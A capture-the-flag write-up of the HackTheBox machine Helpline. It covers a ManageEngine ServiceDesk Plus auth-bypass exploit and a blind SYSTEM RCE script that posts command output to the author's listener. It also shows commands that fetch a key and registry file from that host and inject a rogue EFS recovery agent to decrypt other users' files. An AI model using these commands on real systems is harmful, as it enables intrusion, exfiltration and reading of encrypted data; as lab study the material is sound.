Another great machine has been retired on hackthebox.eu – Helpline by @egre55!
Here is my ‘silly’ unintended way to root the box: You can get both the encrypted user and root flag via the cumbersome web RCE alone – if you wait for a legit user to just look at the file. This is unlikely with the new hackthebox ‘on demand’ boxes for VIP users, but it may be more relevant in real live where actual users are reading their documents!
Summary
The helpdesk web application on Helpline is vulnerable, and you get admin access using a published exploit. You get super excited when you notice you can execute shell commands as SYSTEM. But then you try to read the flags and fail – because both are encrypted using Microsoft’s Encrypting File System. Using hints and breadcrumbs you can obtain credentials to logon as the user tolu and the Administrator. I outline this method at the end, because I needed to ‘simulate’ a second user that looks at the flags.
SYSTEM can import a prepared key and certificate for an EFS recovery agent, as well as add the registry keys equivalent to an EFS (Group) Policy.This agent can decrypt every on the computers to whom this policy has been applied; the symmetric File Encryption Key is provided more than once: encrypted for the owner as well as for the agent.
The recovery settings for individual files ‘kick in’ if another user with a proper EFS certificate and key touches the file. After that, SYSTEM can also read it by decrypting it with my recovery agent key.
This blog post focuses on the ‘EFS hack’. I also wanted to make my life as hard as possible and use only the blind web RCE as SYSTEM – automating it to get output via ‘powershell curl’. Of course, SYSTEM can create an admin user and get a psexec shell because SMB is available – which I used in my ‘simulations’ of ‘legit users’, outlined at the end.
Outline of the hack and contents
Enumerating and getting Remote Code Execution as SYSTEM
Spotting the encrypted flags
Automating RCE and getting output via Powershell curl
Prepare key and certificate files for a recovery agent
Create a recovery policy on a test box to prepare an EFS registry key
The plan – and things that should not work
Import EFS (RSA) key and EFS registry on the box
Waiting for the legit user and reading the flags
Appendix 1: Simulating the user tolu – summary
Appendix 2: Simulating the Administrator – summary
Enumerating and getting Remote Code Execution as SYSTEM [>> Contents]
The following TCP ports are open – for the ‘EFS hack’ I am only using port 8080:
- 135 – Windows RPC Endpoint Mapper.
- 445 – SMB. Using the intended (?) way I create myself another admin user and ran psexec admins shell.
- 5985 – Powershell Remote Management, WinRM.
- 8080 – Vulnerable Web Application ManageEngine ServiceDesk Plus.
- 49667 – RPC High Port.
Nmap scan report for 10.10.10.132 Host is up (0.033s latency). PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 445/tcp open microsoft-ds? 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 8080/tcp open http-proxy - | fingerprint-strings: | GetRequest: | HTTP/1.1 200 OK | Set-Cookie: JSESSIONID=C92480E0FB60CE760F2A42A5DCFDC339; Path=/; HttpOnly | Cache-Control: private | Expires: Thu, 01 Jan 1970 01:00:00 GMT | Content-Type: text/html;charset=UTF-8 | Vary: Accept-Encoding | Date: Tue, 16 Apr 2019 17:02:57 GMT | Connection: close | Server: - | ... | | HTTPOptions: | HTTP/1.1 200 OK | Set-Cookie: JSESSIONID=09E989E05071F5A9ABBF028D4937D635; Path=/; HttpOnly | Cache-Control: private | Expires: Thu, 01 Jan 1970 01:00:00 GMT | Content-Type: text/html;charset=UTF-8 | Vary: Accept-Encoding | Date: Tue, 16 Apr 2019 17:02:58 GMT | Connection: close | Server: - | ... |_ |_http-server-header: - |_http-title: ManageEngine ServiceDesk Plus 49667/tcp open msrpc Microsoft Windows RPC 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port8080-TCP:V=7.70%I=7%D=4/16%Time=5CB618CD%P=x86_64-pc-linux-gnu%r(Ge SF:tRequest,25D6,"HTTP/1\.1\x20200\x20OK\r\nSet-Cookie:\x20JSESSIONID=C924 SF:80E0FB60CE760F2A42A5DCFDC339;\x20Path=/;\x20HttpOnly\r\nCache-Control:\ SF:x20private\r\nExpires:\x20Thu,\x2001\x20Jan\x201970\x2001:00:00\x20GMT\ SF:r\nContent-Type:\x20text/html;charset=UTF-8\r\nVary:\x20Accept-Encoding SF:\r\nDate:\x20Tue,\x2016\x20Apr\x202019\x2017:02:57\x20GMT\r\nConnection SF::\x20close\r\nServer:\x20-\r\n\r\n\n\n\n< SF:meta\x20http-equiv=\"X-UA-Compatible\"\x20content=\"IE=Edge\">\n\n\n\n\ SF:r\n\n\x20\x20\x20\x20\n\x20\x20\x20\x2 SF:0\n\x20\x20\x20\x20\n\x20\x20\ SF:x20\x20<link\x20href=\"/style/loginstyle\.css\?9309\"\x20type=\"text/cs SF:s\"\x20rel=\"stylesheet\"/>\n\x20\x20\x20\x20<link\x20href=\"/style/new SF:-classes\.css\?9309\"\x20type=\"text/css\"\x20rel=\"stylesheet\">\n\x20 SF:\x20\x20\x20<link\x20href=\"/style/new-classes-sdp\.css\?9309\"\x20type SF:=\"text/css\"\x20rel=\"stylesheet\">\n\x20\x20\x20\x20<link\x20href=\"/ SF:style/conflict-fix\.css\?9309\"\x20type=\"text/css\"\x20rel=\"styleshee SF:t\">")%r(HTTPOptions,25D6,"HTTP/1\.1\x20200\x20OK\r\nSet-Cookie:\x20JSE SF:SSIONID=09E989E05071F5A9ABBF028D4937D635;\x20Path=/;\x20HttpOnly\r\nCac SF:he-Control:\x20private\r\nExpires:\x20Thu,\x2001\x20Jan\x201970\x2001:0 SF:0:00\x20GMT\r\nContent-Type:\x20text/html;charset=UTF-8\r\nVary:\x20Acc SF:ept-Encoding\r\nDate:\x20Tue,\x2016\x20Apr\x202019\x2017:02:58\x20GMT\r SF:\nConnection:\x20close\r\nServer:\x20-\r\n\r\n\n\n\n<meta\x20http-equiv=\"X-UA-Compatible\"\x20content=\"IE=Edge SF:\">\n\n\n\n\r\n\n\x20\x20\x20\x20\n\x2 SF:0\x20\x20\x20\n\x20\x20\x20\x2 SF:0\n\x20\x20\x20\x20<link\x20href=\"/style/loginstyle\.css\?9309\"\x20ty SF:pe=\"text/css\"\x20rel=\"stylesheet\"/>\n\x20\x20\x20\x20<link\x20href= SF:\"/style/new-classes\.css\?9309\"\x20type=\"text/css\"\x20rel=\"stylesh SF:eet\">\n\x20\x20\x20\x20<link\x20href=\"/style/new-classes-sdp\.css\?93 SF:09\"\x20type=\"text/css\"\x20rel=\"stylesheet\">\n\x20\x20\x20\x20"); Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: mean: -59m56s, deviation: 0s, median: -59m56s | smb2-security-mode: | 2.02: |_ Message signing enabled but not required | smb2-time: | date: 2019-04-16 19:04:31 |_ start_date: N/A Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 141.48 seconds
The web application on port 8080, ManageEngine, is a helpdesk portal. Googling give you the default credentials – guest:guest, and you can poke around, find service tickets and potential other credentials in a ‘PasswordAudit’ Excel sheet.
The Excel file contains a hidden worksheet that you can unhide with VBA (like this), but I finally could not use these credentials for anything.
I find different exploits for ManageEngine – this one that works right away:
https://www.exploit-db.com/exploits/46659
https://flameofignis.com/2019/03/30/ServiceDesk-9-3-Auth-Bypass-CVE-2019-10008/
The script outputs the cookies to be used in your session; adding them to a browser logs you on as an administrator context.
As many of these system management portals, there is a way to get code execution legitimately – I used Custom Triggers. To get command execution from this blind RCE I use my Powershell curl method, inserting the output of commands into HTTP POST data.
My manual workflow:
Create the cookies using the exploit script and copy them into Firefox. Typical script output:
Go to the custom trigger page at:
http://10.10.10.132:8080/SetUpWizard.do?forwardTo=externalAutoAction
Create a trigger for my curl command:
cmd /c powershell -c curl 10.10.14.21/test -method POST -body $(whoami)
A trigger reacts to an helpdesk ticket / request being created; I pick a criteria of Category = General.
Switch to the tab / category requests and create a new incident in the category general:
Starting a listener on the port specified in the curl command. Briefly after the request has been saved, a call is received (I used the hostname euservicedesk as a test – not required):
nc -lvp 80 nc: listening on :: 80 ... nc: listening on 0.0.0.0 80 ... nc: connect to 10.10.14.21 80 from euservicedesk (10.10.10.132) 51478 [51478] POST /test HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17763.134 Content-Type: application/x-www-form-urlencoded Host: 10.10.14.21 Content-Length: 19 Expect: 100-continue Connection: Keep-Alive nt authority\system
To run subsequent commands:
- Edit the definition of the trigger.
- Restart the listener.
- Re-create the Request by replaying the last POST with Burp, at:
POST /WorkOrder.do HTTP/1.1
(I did not manage to trigger the command if I only edited the request even if I configured the trigger to react to editing as well as creating requests)
Spotting the encrypted flags [>> Contents]
As SYSTEM you can read basically anything on the disk (running type over the curl RCE), with the exception of a few interesting files in the users’ profiles :-) Running cipher confirms my suspision that the files are encrypted – as the permissions are OK:
Administrator’s flag:
cmd /c powershell -c curl 10.10.14.21/test -method POST -body $(cmd /c icacls C:\Users\Administrator\Desktop\root.txt)
C:\Users\Administrator\Desktop\root.txt NT AUTHORITY\SYSTEM:(RX) HELPLINE\Administrator:(RX) BUILTIN\Administrators:(RX) Successfully processed 1 files; Failed processing 0 files
cmd /c powershell -c curl 10.10.14.21/test -method POST -body $(cmd /c cipher C:\Users\Administrator\Desktop)
Listing C:\Users\Administrator\Desktop\ New files added to this directory will not be encrypted. E root.txt
Same for tolu:
cmd /c powershell -c curl 10.10.14.21/test -method POST -body $(cmd /c cipher C:\Users\tolu\Desktop)
Listing C:\Users\tolu\Desktop\ New files added to this directory will not be encrypted. E user.txt
Automating RCE and getting output via Powershell curl [>> Contents]
To make command execution less painful, I tried to ‘reverse engineer’ the actual HTTP POST commands, and run a web server that is capable to deal with POSTs (python SimpleHTTPServer is not).
I create webserver.py, using this script: https://gist.github.com/bradmontgomery/2219997 (see also the comment related how to deal with the post data) and changing the handler for POST:
import cgi ... ... def do_POST(self): self._set_headers() form = cgi.FieldStorage( fp=self.rfile, headers=self.headers, environ={'REQUEST_METHOD': 'POST'} ) print '==== Command output:' print form.getvalue("output") print '======================================================================'
…
The exploit script uses curl though it is written in python, but I just changed the output to a dictionary to be re-used:
authbypass.py = the script from https://www.exploit-db.com/exploits/46659 except…
cookies = {} # print("\033[1;31mCaptured target session.Set following cookies on your browser.\033[1;37m") # print("JSESSIONID=" + sessidhigh) # print("JSESSIONIDSSO=" + sessidssohigh) # print(grbl2[0] + "=" + grbl2[1]) # print(grbl2[2] + "=" + grbl2[3]) # print("_rem=true") from pprint import pprint def getcookies(): global sessidhigh global sessidssohigh global grbl2 cookies["JSESSIONID"] = sessidhigh cookies["JSESSIONIDSSO"] = sessidssohigh cookies[grbl2[0]] = grbl2[1] cookies[grbl2[2]] = grbl2[3] cookies["_rem"] = "true" print("\033[1;31mCaptured target session.Set following cookies on your browser.\033[1;37m") # pprint(cookies) return cookies
…
The actual script for running a command, cmd.py
In order to run a command ‘blindly’ I prefix a command with b. This is useful if nesting of quotes / special characters gets tricky, and I am not interested in the output anyway – so that curl might potentially just break something. (I do this since my pseudo-shell for Ethereal: Allow either full shell commands or special shortcuts to commands I use often, via prefixes).
import authbypass import requests from pprint import pprint import re import sys myip = '10.10.14.13' baseurl = 'http://10.10.10.132:8080' # Test with Burp - additional local forwarder # baseurl = 'http://127.0.0.1:8081' debug = False def debughttp(response): if debug: print '======================================================================' print response.status_code pprint(response.headers) print response.text print '======================================================================' raw_input('Press ENTER to continue!') def createfullcmd(cmd, blind=False): if blind == False: # Escape double quotes twice: 1) ManageDesk has them escaped per default --> 2) Escape also here in Python fullcmd = 'cmd /c powershell -c curl ' + myip + '/test -method POST -body \\"output=$(' + cmd + ')\\"' else: fullcmd = 'cmd /c ' + cmd return fullcmd def getactionid(cookies, triggername): url = baseurl + '/RequestExternalAction.do?method=getAutoActionListView&module=request' r = requests.get(url, cookies=cookies) debughttp(r) find_id = re.findall('"ACTIONID"\:(\d*),"ACTION_NAME"\:"' + triggername + '"', r.text) if len(find_id) == 0: print '[-] ID for trigger ' + triggername + ' not found!' actionid = None else: actionid = find_id[0] print '[+] ID for trigger ' + triggername + ' is ' + str(actionid) return actionid def edittrigger(cookies, triggername, cmd, actionid=None, blind=False): fullcmd = createfullcmd(cmd, blind) if actionid is None: # Create new trigger url = baseurl + '/RequestExternalAction.do?method=saveAutoAction&module=request' else: # Edit existing trigger url = baseurl + '/RequestExternalAction.do?method=saveAutoAction&module=request&action_id=' + str(actionid) # "trigger": "3" --> create and edit request # "trigger": "3" --> create request # Open: Did not manage to trigger the action by editing request, even with the GUI items_template = '{"details": [{"name": "' + triggername + '", "desc": "", "trigger": "3", "executiontime": "1", "cascade": true}], "criteria": [{"selcrit": "10", "selcon": "3", "comp": "and", "values": "1"}], "action": [{"exe_type": "script", "executor": "CMDTEMPLATE"}]}' items = items_template.replace('CMDTEMPLATE', fullcmd) data = { 'items' : items } r = requests.post(url, cookies=cookies, data=data) debughttp(r) print '[+] Trigger ' + triggername + ' has been configured with command: ' print ' ' + fullcmd def createrequest(cookies): # A new request with the same name is created for every command. url = baseurl + '/WorkOrder.do' # onHoldSet1=&date1%40%40%401=&selectedStatus%40%40%401=&onHoldComments%40%40%401=&linkService=null&createServiceComment=null&linkWorkOrderId=null&requesterName_WO=null&requestServiceId=&reqTemplate=4&templateSite=&FROM=INLINE&status=1&modeID=0&level=0&priority=0&reqID=&reqName=Test2_reqName&group=0&technician=0&incidentService=0&category=1&subCategory=0&item=0&emailCC=&title=Test2_title1&description=%3Cbr%3E&MOD_IND=WorkOrder&FORMNAME=WorkOrderForm&resourcesInfo=&resourceModified=false&resolution=+&addWO=addWO data = { 'onHoldSet1=&date1@@@1=&selectedStatus@@@1' : '', 'onHoldComments@@@1' : '', 'linkService' : 'null', 'createServiceComment' : 'null', 'linkWorkOrderId' : 'null', 'requesterName_WO' : 'null', 'requestServiceId' : '', 'reqTemplate' : '4', 'templateSite' : '', 'FROM' : 'INLINE', 'status' : '1', 'modeID' : '0', 'level' : '0', 'priority' : '0', 'reqID' : '', 'reqName' : requestname, 'group' : '0', 'technician' : '0', 'incidentService' : '0', 'category' : '1', 'subCategory' : '0', 'item' : '0', 'emailCC' : '', 'title' : requesttitle, 'description' : ' ', 'MOD_IND' : 'WorkOrder', 'FORMNAME' : 'WorkOrderForm', 'resourcesInfo' : ',', 'resourceModified' : 'false,', 'resolution' : ' ,', 'addWO' : 'addWO' } r = requests.post(url, cookies=cookies, data=data) debughttp(r) print '[+] Request has been (re-)created to trigger the action.' def getrequestid(requestname): url = baseurl + '/WOListView.do' return requestid def deleterequest(cookies, requestname): requestid = getrequestid(requestname) url = baseurl + '/WorkOrder.do?woMode=deleteWO&woID=' + str(requestid) r = requests.get(url, cookies=cookies) debughttp(r) cookies = authbypass.getcookies() if cookies != {}: print '[+] Cookies created by authentication bypass exploit:' pprint(cookies) print '======================================================================' triggername = 'Trigger_Test_111' requestname = 'Name_111' requesttitle = 'Title_111' testcmd = 'whoami' print '[*] Trigger is being tested with test command: ' + testcmd edittrigger(cookies, triggername, testcmd) actionid = getactionid(cookies, triggername) raw_input('[!] Press ENTER to continue - enter commands!') print '======================================================================' print '[!] Note: Backslashes must be escaped with another backslash!' while True: cmd = raw_input('> ') if cmd[0:1] == 'Q': sys.exit() elif cmd[0:2] == 'b ': blind = True cmd = cmd[2:] else: blind = False edittrigger(cookies, triggername, cmd, actionid, blind=blind) createrequest(cookies)
There are issues with too many special characters, e.g. when redirecting stderr to stdin. However, you can always get errors back by 1) Running the command blindly – with b – and outputting to a local file, and 2) Reading the file with type over the RCE.
Prepare key and certificate file for a recovery agent [>> Contents]
… using the cipher tool on a Windows test box. This is a self-signed X.509 certificate including the Extended Key Usage for File Recovery. The corresponding RSA key pair is used for encrypting and decrypting the symmetric File Encryption Key.
Though the common name in the certificate should not matter, I start a system shell as SYSTEM ‘for fun’ using
psexec -i -s cmd
In the SYSTEM shell, I create a new recovery agent certificate and key. The CER contains only the certificate and the PFX file (PKCS#12) key and the certificate. For the EFS hack I will only need the PFX file on the target box, but I will need the CER file to create my ‘malicious test registry key’.
cipher /R:agent_sys Please type in the password to protect your .PFX file: Please retype the password to confirm: Your .CER file was created successfully. Your .PFX file was created successfully.
Test the password and check the certificate contents:
certutil agent_sys.PFX Enter PFX password: ================ Certificate 0 ================ ================ Begin Nesting Level 1 ================ Element 0: Serial Number: 61ff1b7d275e028e4b46de447521fe0b Issuer: OU=EFS File Encryption Certificate, L=EFS, CN=SYSTEM NotBefore: 11.05.2019 23:42 NotAfter: 17.04.2119 23:42 Subject: OU=EFS File Encryption Certificate, L=EFS, CN=SYSTEM Signature matches Public Key Root Certificate: Subject matches Issuer Cert Hash(sha1): 2ec203ee87660afb5be0e2b7f099dccdf80e535e ---------------- End Nesting Level 1 ---------------- Provider = Microsoft Enhanced Cryptographic Provider v1.0 Encryption test passed CertUtil: -dump command completed successfully.
Create a recovery policy on a test box to prepare an EFS registry key [>> Contents]
In a Windows domain you would create an EFS Group Policy (for computers) containing the certificate of the Recovery Agent. All computers in OUs to which that GPO is applied will implement the agent
The symmetric file encryption key that is used to encrypt the file is then encrypted twice – once for the user and once for the agent. Both can decrypt the file independently from each other.
After the policy has been updated the agent is ‘active’ and will be added to every file that is going to be encrypted from now on. The agent will also be added to existing encrypted files, but only if a user with a decryption certificate ‘touches’ the file by at least reading it!
EFS Policies, once ‘downloaded’, are basically registry keys, so you can inject a recovery agent by modifying the registry key that holds an EFS policy. I create a policy on a test Windows machine using the CER file obtained before, search the registry, and export the (hopefully) relevant part of the registry key. This will be injected into Helpline’s registry.
The name of the …EFS\certificates registry key is the thumbprint of that certificate, the blob is a data structure related to the number of agents (https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-gpef/9b768ff7-fa1f-4b29-b7c9-14110a4ec054) and metadata like the SID of the user (https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-gpef/ccca1504-9e8d-437b-bbe0-036a44e2f756).
Dump of my test key:
Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\EFS] "EFSBlob"=hex:01,00,01,00,01,00,00,00,98,03,00,00,94,03,00,00,00,00,00,00,02,\ 00,00,00,78,03,00,00,1c,00,00,00,00,00,00,00,00,00,00,00,30,82,03,74,30,82,\ 02,5c,a0,03,02,01,02,02,10,61,ff,1b,7d,27,5e,02,8e,4b,46,de,44,75,21,fe,0b,\ 30,0d,06,09,2a,86,48,86,f7,0d,01,01,05,05,00,30,49,31,0f,30,0d,06,03,55,04,\ 03,13,06,53,59,53,54,45,4d,31,0c,30,0a,06,03,55,04,07,13,03,45,46,53,31,28,\ 30,26,06,03,55,04,0b,13,1f,45,46,53,20,46,69,6c,65,20,45,6e,63,72,79,70,74,\ 69,6f,6e,20,43,65,72,74,69,66,69,63,61,74,65,30,20,17,0d,31,39,30,35,31,31,\ 32,31,34,32,34,39,5a,18,0f,32,31,31,39,30,34,31,37,32,31,34,32,34,39,5a,30,\ 49,31,0f,30,0d,06,03,55,04,03,13,06,53,59,53,54,45,4d,31,0c,30,0a,06,03,55,\ 04,07,13,03,45,46,53,31,28,30,26,06,03,55,04,0b,13,1f,45,46,53,20,46,69,6c,\ 65,20,45,6e,63,72,79,70,74,69,6f,6e,20,43,65,72,74,69,66,69,63,61,74,65,30,\ 82,01,22,30,0d,06,09,2a,86,48,86,f7,0d,01,01,01,05,00,03,82,01,0f,00,30,82,\ 01,0a,02,82,01,01,00,d6,a0,84,99,39,58,4e,90,2e,8c,d9,a0,95,51,7b,71,b7,b6,\ 54,ca,32,d4,71,e6,9e,bb,d1,48,02,f0,79,c7,9e,28,22,6d,80,ec,5c,1e,05,72,fd,\ 38,90,04,72,d2,a7,c9,0c,20,c6,fd,98,48,40,b2,bb,a4,28,cb,c0,e7,55,8d,b7,01,\ b9,0c,dc,72,2d,7e,e6,1a,1f,38,cb,a6,64,01,d3,28,53,da,ca,2a,53,3d,aa,72,79,\ 03,c0,89,d9,26,6d,d2,b1,f2,12,67,42,57,87,29,ab,b8,09,5c,c1,6f,be,2c,82,2f,\ b1,d8,4a,15,59,69,b1,36,9d,b9,d8,dd,a9,a0,87,54,0e,73,44,35,06,06,59,40,e2,\ 33,8f,3a,d5,00,bf,35,d3,13,ae,5b,a2,75,ba,28,fe,41,11,85,f7,2e,17,61,97,54,\ 72,a3,f7,58,90,28,8a,60,75,26,62,e0,37,2f,07,9e,3d,64,38,33,d4,9a,91,90,f0,\ 5a,ad,aa,c8,48,2b,88,b5,b0,3e,55,06,7b,0a,5a,ca,49,11,e4,87,4a,ff,c2,3f,e8,\ 5d,2f,53,99,19,17,9d,fe,61,e8,b9,4c,cc,82,9e,32,7f,55,4e,77,f2,42,8c,be,3e,\ 59,76,3f,3d,6f,80,d7,22,ca,1e,e7,39,2d,02,03,01,00,01,a3,56,30,54,30,16,06,\ 03,55,1d,25,04,0f,30,0d,06,0b,2b,06,01,04,01,82,37,0a,03,04,01,30,2f,06,03,\ 55,1d,11,04,28,30,26,a0,24,06,0a,2b,06,01,04,01,82,37,14,02,03,a0,16,0c,14,\ 53,59,53,54,45,4d,40,4e,54,20,41,55,54,48,4f,52,49,54,59,00,30,09,06,03,55,\ 1d,13,04,02,30,00,30,0d,06,09,2a,86,48,86,f7,0d,01,01,05,05,00,03,82,01,01,\ 00,be,37,83,5e,d6,4a,ff,ce,91,3a,dd,80,a1,8a,66,66,96,1b,13,fc,bf,74,99,94,\ 17,e7,77,f4,80,12,f4,48,48,9a,93,aa,d6,22,03,a9,23,82,57,0c,2d,74,84,38,75,\ ba,76,3f,c4,38,97,2e,3e,1f,4c,5e,af,ab,8b,31,1a,cc,a3,27,93,89,42,e9,3c,8b,\ 9a,08,8d,14,3c,62,ad,3d,ba,9d,3c,88,06,a3,b8,b6,5f,f5,5f,2a,bb,bb,86,f6,9b,\ 53,db,9e,f5,14,79,9b,cf,a9,d9,c5,1b,8e,d0,58,25,52,c2,33,09,3e,a0,d6,87,0e,\ 12,b5,83,ab,32,b0,58,b7,15,05,ec,03,55,34,36,0d,5a,6e,ef,6e,30,76,f6,8b,6a,\ fe,13,de,e9,03,e5,c7,c3,c6,a7,8e,f7,9c,02,9f,85,52,a9,7f,de,0f,dc,1c,55,74,\ 5a,9f,94,18,a8,ea,fd,df,0a,50,73,36,e5,bd,f5,28,77,37,bc,f9,4f,fe,12,20,49,\ 0f,10,09,22,10,b6,1e,37,e1,4f,98,c6,f7,b3,be,c7,b1,77,4f,e2,84,2c,b7,c9,68,\ d2,2e,23,3c,f2,5f,0b,22,0a,84,be,c6,ca,67,84,46,a7,4e,0a,27,6b,02,17,d4,67,\ 2c,67,43,ab,9b,ca,33 [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\EFS\Certificates] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\EFS\Certificates\2EC203EE87660AFB5BE0E2B7F099DCCDF80E535E] "Blob"=hex:03,00,00,00,01,00,00,00,14,00,00,00,2e,c2,03,ee,87,66,0a,fb,5b,e0,\ e2,b7,f0,99,dc,cd,f8,0e,53,5e,20,00,00,00,01,00,00,00,78,03,00,00,30,82,03,\ 74,30,82,02,5c,a0,03,02,01,02,02,10,61,ff,1b,7d,27,5e,02,8e,4b,46,de,44,75,\ 21,fe,0b,30,0d,06,09,2a,86,48,86,f7,0d,01,01,05,05,00,30,49,31,0f,30,0d,06,\ 03,55,04,03,13,06,53,59,53,54,45,4d,31,0c,30,0a,06,03,55,04,07,13,03,45,46,\ 53,31,28,30,26,06,03,55,04,0b,13,1f,45,46,53,20,46,69,6c,65,20,45,6e,63,72,\ 79,70,74,69,6f,6e,20,43,65,72,74,69,66,69,63,61,74,65,30,20,17,0d,31,39,30,\ 35,31,31,32,31,34,32,34,39,5a,18,0f,32,31,31,39,30,34,31,37,32,31,34,32,34,\ 39,5a,30,49,31,0f,30,0d,06,03,55,04,03,13,06,53,59,53,54,45,4d,31,0c,30,0a,\ 06,03,55,04,07,13,03,45,46,53,31,28,30,26,06,03,55,04,0b,13,1f,45,46,53,20,\ 46,69,6c,65,20,45,6e,63,72,79,70,74,69,6f,6e,20,43,65,72,74,69,66,69,63,61,\ 74,65,30,82,01,22,30,0d,06,09,2a,86,48,86,f7,0d,01,01,01,05,00,03,82,01,0f,\ 00,30,82,01,0a,02,82,01,01,00,d6,a0,84,99,39,58,4e,90,2e,8c,d9,a0,95,51,7b,\ 71,b7,b6,54,ca,32,d4,71,e6,9e,bb,d1,48,02,f0,79,c7,9e,28,22,6d,80,ec,5c,1e,\ 05,72,fd,38,90,04,72,d2,a7,c9,0c,20,c6,fd,98,48,40,b2,bb,a4,28,cb,c0,e7,55,\ 8d,b7,01,b9,0c,dc,72,2d,7e,e6,1a,1f,38,cb,a6,64,01,d3,28,53,da,ca,2a,53,3d,\ aa,72,79,03,c0,89,d9,26,6d,d2,b1,f2,12,67,42,57,87,29,ab,b8,09,5c,c1,6f,be,\ 2c,82,2f,b1,d8,4a,15,59,69,b1,36,9d,b9,d8,dd,a9,a0,87,54,0e,73,44,35,06,06,\ 59,40,e2,33,8f,3a,d5,00,bf,35,d3,13,ae,5b,a2,75,ba,28,fe,41,11,85,f7,2e,17,\ 61,97,54,72,a3,f7,58,90,28,8a,60,75,26,62,e0,37,2f,07,9e,3d,64,38,33,d4,9a,\ 91,90,f0,5a,ad,aa,c8,48,2b,88,b5,b0,3e,55,06,7b,0a,5a,ca,49,11,e4,87,4a,ff,\ c2,3f,e8,5d,2f,53,99,19,17,9d,fe,61,e8,b9,4c,cc,82,9e,32,7f,55,4e,77,f2,42,\ 8c,be,3e,59,76,3f,3d,6f,80,d7,22,ca,1e,e7,39,2d,02,03,01,00,01,a3,56,30,54,\ 30,16,06,03,55,1d,25,04,0f,30,0d,06,0b,2b,06,01,04,01,82,37,0a,03,04,01,30,\ 2f,06,03,55,1d,11,04,28,30,26,a0,24,06,0a,2b,06,01,04,01,82,37,14,02,03,a0,\ 16,0c,14,53,59,53,54,45,4d,40,4e,54,20,41,55,54,48,4f,52,49,54,59,00,30,09,\ 06,03,55,1d,13,04,02,30,00,30,0d,06,09,2a,86,48,86,f7,0d,01,01,05,05,00,03,\ 82,01,01,00,be,37,83,5e,d6,4a,ff,ce,91,3a,dd,80,a1,8a,66,66,96,1b,13,fc,bf,\ 74,99,94,17,e7,77,f4,80,12,f4,48,48,9a,93,aa,d6,22,03,a9,23,82,57,0c,2d,74,\ 84,38,75,ba,76,3f,c4,38,97,2e,3e,1f,4c,5e,af,ab,8b,31,1a,cc,a3,27,93,89,42,\ e9,3c,8b,9a,08,8d,14,3c,62,ad,3d,ba,9d,3c,88,06,a3,b8,b6,5f,f5,5f,2a,bb,bb,\ 86,f6,9b,53,db,9e,f5,14,79,9b,cf,a9,d9,c5,1b,8e,d0,58,25,52,c2,33,09,3e,a0,\ d6,87,0e,12,b5,83,ab,32,b0,58,b7,15,05,ec,03,55,34,36,0d,5a,6e,ef,6e,30,76,\ f6,8b,6a,fe,13,de,e9,03,e5,c7,c3,c6,a7,8e,f7,9c,02,9f,85,52,a9,7f,de,0f,dc,\ 1c,55,74,5a,9f,94,18,a8,ea,fd,df,0a,50,73,36,e5,bd,f5,28,77,37,bc,f9,4f,fe,\ 12,20,49,0f,10,09,22,10,b6,1e,37,e1,4f,98,c6,f7,b3,be,c7,b1,77,4f,e2,84,2c,\ b7,c9,68,d2,2e,23,3c,f2,5f,0b,22,0a,84,be,c6,ca,67,84,46,a7,4e,0a,27,6b,02,\ 17,d4,67,2c,67,43,ab,9b,ca,33 [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\EFS\CRLs] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\EFS\CTLs]
The plan – and things that should not work [>> Contents]
Using the RCE, I can download the exported EFS registry key and and the PFX file to Helpline. I will then
- import certificate and key to SYSTEM’s ‘user’s’ certificate store (not to the machine store – SYSTEM acts like a user here!) using certutil -importpfx …
- and import the registry key using req query.
If tolu or the Administrator (= a HTB player using the intended way) look at their flags, the files should ‘pick up’ the agents – which can be checked with cipher.
What sounds simpler, but does not work …
Reset the owners’ passwords and logon using psexec (you need to make tolu a member of Administrator for that). On a stand-alone, non-domain joined machine, users are not able to access their own EFS-protected files if a local Administrator resets their password – the reset breaks something about DPAPI! This does only work in a domain! This warning is there for a reason (screenshot from a Windows 10 test machine):
(Note that using the original password you would use CredSSP authentication with WinRM as DPAPI cannot be used unless CredSSP authentication is enabled and you need DPAPI to decrypt the key).
Simply ‘EFS-share’ the file. You can ‘add another user’ = their certificate to your EFS-encrypted file with cipher:
/ADDUSER Adds a user to the specified encrypted file(s). If CERTHASH is provided, cipher will search for a certificate with this SHA1 hash. If CERTFILE is provided, cipher will extract the certificate from the file. If USER is provided, cipher will try to locate the user's certificate in Active Directory Domain Services.
However, to do that you need to have access to the file … which SYSTEM does not have … yet!.
Import EFS (RSA) key and EFS registry data on the box [>> Contents]
I run these attack commands, run one after other the other using cmd.py
mkdir C:\\Windows\\system32\\agent33 REM BLIND: Download agent key and certificate b curl http://10.10.14.13:81/agent_sys.PFX --output C:\\Windows\\system32\\agent33\\agent_sys.PFX REM BLIND Registry file b curl http://10.10.14.13:81/EFS.reg --output C:\\Windows\\system32\\agent33\\EFS.reg REM Check downloads cmd /c dir C:\\Windows\\system32\\agent33 REM BLIND Import certificate and key, check result. b certutil -q -importpfx -user -p test C:\\Windows\\system32\\agent33\\agent_sys.PFX REM Check result. certutil -store -user my REM Import registry file and check result regedit /S C:\\Windows\\system32\\agent33\\EFS.reg reg query HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\SystemCertificates\\EFS REM Check the EFS status the flags and try to read them REM To be repeated when the 'legit' owner has read the flag. cipher /C C:\\Users\\tolu\\Desktop\\user.txt type C:\\Users\\tolu\\Desktop\\user.txt
Relevant snippets of output I see at my simple web server:
Here is the output of certutil -store -user my – my evil agent has been imported!
